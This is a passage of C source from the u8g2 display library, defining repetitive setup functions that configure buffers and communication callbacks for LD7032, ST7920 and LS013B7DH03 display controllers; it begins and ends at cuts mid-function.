u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 f */\nvoid u8g2_Setup_ld7032_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 */\n/* ld7032 1 */\nvoid u8g2_Setup_ld7032_i2c_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 2 */\nvoid u8g2_Setup_ld7032_i2c_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 f */\nvoid u8g2_Setup_ld7032_i2c_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_p_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_p_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_p_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_s_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_s_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_s_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_p_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_p_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_p_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_s_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_s_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_s_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_p_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_p_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_p_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_s_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_s_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_s_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_p_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_p_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_p_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_s_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_s_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_s_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_p_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_p_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_p_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 */\n/* st7920 1 */\nvoid u8g2_Setup_st7920_s_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 2 */\nvoid u8g2_Setup_st7920_s_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7920 f */\nvoid u8g2_Setup_st7920_s_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls013b7dh03 */\n/* ls013b7dh03 1 */\nvoid u8g2_Setup_ls013b7dh03_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls013b7dh03 2 */\nvoid u8g2_Setup_ls013b7dh03_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh03_128x128, 